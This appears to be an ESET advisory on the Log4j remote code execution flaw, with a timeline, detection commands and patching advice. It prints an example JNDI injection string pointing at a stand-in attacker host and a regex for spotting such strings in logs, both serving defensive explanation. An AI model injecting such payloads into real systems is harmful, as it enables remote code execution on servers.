0 
0 Log4j is a logging framework for event recording – it can record user activity, data movement, and can track the exact date and time this happens. Log4j can be used for auditing and for troubleshooting. Logging is a fundamental piece of every software.
What is Log4j?
Log4j is a popular framework for logging, maintained by Apache, in use for around 20 years – and is found in a majority of enterprise applications around the world. The vulnerability in Log4j allows malicious string to be injected into a log string so when the logging library logs that string it will actually lead to remote code execution, the most dangerous vulnerability in the book (the critical level CVSS 10).
Here’s an example of a log line with a malicious string:
1. Log(”User ${u} is trying to log in”)
- This is logged as [03/22 08:51:06 INFO : User user@company.com is trying to log in]
2. But the logging framework also is able to accept this special string of code: ${jndi:ldap://example.com/file}
- This means “run additional code from example.com/file” using JNDI protocol.
3. So logging in using the username works, but we can also log in using the string ${jndi:ldap://attacker.com/malicious} as the username instead.
- The system would interpret this: Log(”User ${jndi:ldap://attacker.com/malicious} is trying to log in”)
Timeline
To help make sense of the events around this critical vulnerability, here is a basic timeline:
- November 26: The CVE ID for the vulnerability is reserved.
- December 1: The first known exploit of the vulnerability is detected in the wild.
- December 10: The CVE ID is published and a patch is released.
- December 11: At 14:24 CET, ESET’s Network Attack Protection module receives a detection update to cover this vulnerability.
- December 13: Log4j version 2.16.0 is released after the fix in version 2.15.0 was found to be incomplete and still put some systems at risk.
- December 18: Log4j version 2.17.0 is released to address a vulnerability (CVE-2021-45105) that could be exploited for denial-of-service (DoS) attacks.
Detection
ESET has released a detection for exploits of this vulnerability that might be present in both incoming and outgoing traffic on Windows systems. Attackers attempting to move laterally from such systems will thus be blocked. Detection of exploit attempts was rolled out with the following detection names:
Mitigation steps
In order to protect yourself from these exploits, it’s critical to find all vulnerable versions of the library. Start by making a prioritized list of systems to search through, evaluating them one by one as you go through the list. The tricky part can be sniffing out vulnerable versions existing in Java Archive (JAR) archives as transitive dependencies.
Here are a few basic scripts that you can use (which should be modified to suit your systems):
- Detect the presence of Log4j in your systems (Linux and Windows)
This script, available on GitHub, searches for the flawed JndiLookup.class file in any .jar archive on your system.
Linux
| 1 | sudo grep -r –include “*.jar” JndiLookup.class / |
Windows
| 1 | findstr /s /i /c:”JndiLookup.class” C:\*.jar |
- Detect exploitation attempts of the vulnerability in your logs (Linux)
This script, also available at the GitHub link above, searches for exploitation attempts in uncompressed files in the Linux logs directory /var/log and all its subdirectories:
Grep
| 1 | sudo egrep -I -i -r ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+’ /var/log |
Zgrep
| 1 | sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+ |
- Record results
After running any scripts or detection tools, make sure to record the results so as to help create complete audit documentation of all your systems. An audit should state whether you found Log4j on a system and whether there were any exploitation attempts discovered in the logs.
- Move to the latest version of Log4j
The vulnerable versions of Log4j 2 are all log4j-core versions from 2.0-beta9 to 2.14.1. Note that this library is not to be confused with log4j-api, which is not affected by this vulnerability. The best remedy is to update your dependencies to use the latest version, which is 2.15.0.
(UPDATE: The fix included in version 2.15.0 was found to be incomplete in certain non-default configurations and resulted in a new vulnerability (CVE-2021-45046), prompting the Apache Foundation to release version 2.16.0. On December 18, version 2.17.0 was rolled out to patch a vulnerability (CVE-2021-45105) that could be exploited for denial-of-service (DoS) attacks. We recommend applying the latest version.)
Although versions 1.x of Log4j are not impacted by this particular vulnerability, they do have other vulnerabilities. Concrete plans should be in place to migrate to the latest version of the library. In fact, now is as good a time as ever to move forward with those plans.
- Block suspicious IP addresses
Finally, IP addresses that are known to be shady can be blocked with your firewall and/or intrusion prevention system.
